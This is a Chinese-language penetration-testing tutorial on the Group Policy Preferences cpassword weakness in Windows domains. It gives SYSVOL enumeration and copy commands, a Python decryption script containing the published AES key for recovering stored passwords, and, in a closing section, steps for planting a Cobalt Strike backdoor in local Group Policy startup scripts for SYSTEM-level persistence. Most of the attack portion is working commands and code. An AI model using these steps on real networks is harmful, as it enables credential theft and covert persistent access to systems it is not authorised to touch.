GPP
Windows 2008 Server引入了一项称为组策略首选项(Group Policy Preferences)的新功能,它允许管理员配置和安装以前无法使用组策略的Windows和应用程序设置。组策略首选项(GPP)最有用的功能之一是能够存储,此外,这些策略可以对机器进行各种配置更改,例如:
- 复制代码
- 映射驱动(Drives.xml)
- 创建本地用户
- 数据源(DataSources.xml)
- 打印机配置(Printers.xml)
- 创建/更新服务(Services.xml)
- 计划任务(ScheduledTasks.xml)
- 更改本地Administrator密码
- 复制代码
漏洞原理
当管理创建了一个新的GPP时,SYSVOL会生成一个XML文件提供了相关配置数据。如果里面提供了密码的话,那应该就是AES-256加密,看起来这加密似乎是够强力了。
然而除了在2012年前的某些点外,微软在MSDN上发布了AES的私钥,它可以用来解密这种密码。因为认证用户(所有域用户或者信任域里的用户)对SYSVOL拥有读权限。在域里的任何用户可以搜索SYSVOL共享中的带有cpassword字样的XML文件,里面包含了AES加密的密码。
配置GPP(组策略)环境
1、首先在命令提示符输入:gpmc.msc
2、选择sentiment.com -> 右击组策略对象 -> 新建,新建一个GPPUser的组策略对象
3、右击新建的组策略对象 -> 编辑
4、在弹出的组策略管理编辑器中,右击本地用户和组 -> 新建 -> 本地用户
5、我们将域中的每个计算机的本地administrator 管理员用户更名为admin,并设置新的密码123.com
6、回到新建的GPP User,点击添加,将Domain Computers添加到组策略应用的组中:
7、gpupdate,更新组策略设置
8、查看GPP User的详细信息,获取唯一ID
9、在以下路径中中可以查看到刚刚设置的用户名和密码
C:\Windows\SYSVOL\domain\Policies\\{2361395F-0A2D-403E-885B-E961AD40FA00}\Machine\Preferences\Groups\Groups.xml
#或
C:\Windows\SYSVOL\sysvol\sentiment.com\Policies\{2361395F-0A2D-403E-885B-E961AD40FA00}\Machine\Preferences\Groups\Groups.xml
GPP漏洞利用
影响版本:win < = 2008 r2 或 没有KB2962486补丁
1、域中普通用户可以直接访问到该目录
dir \\win2012.sentiment.com\sysvol\sentiment.com\Policies
2、但是有三个id文件,可以通过以下命令直接查找xml位置
for /r \\win2012/sysvol %i in (*.xml) do @echo %i
3、将xml文件复制出来,查看后获取到了用户名和密码
copy \\win2012\sysvol\sentiment.com\Policies\{2361395F-0A2D-403E-885B-E961AD40FA00}\Machine\Preferences\Groups\Groups.xml
4、通过kali自带的gpp-decrypt
命令,解密密码
脚本Gppprefdecrypt.py
#!/usr/bin/python
#
# Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.
#
# This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.
#
import sys
from Crypto.Cipher import AES
from base64 import b64decode
# Init the key
# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
# Add padding to the base64 string and decode it
cpassword = "haNeFLuCPPa42VoahM8WYQ"
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
# Decrypt the password
o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
# Print it
print o[:-ord(o[-1])].decode('utf16')
本地组策略(LGP)
若是非域用户也有对应的权限维持方式—
1、用CS生成一个window的后门1.exe
2、开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性
3、点击显示文件,打开目录:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
4、将后门放入该目录中,并添加到启动项里,这时在重启电脑后,便可上线CS并且是system权限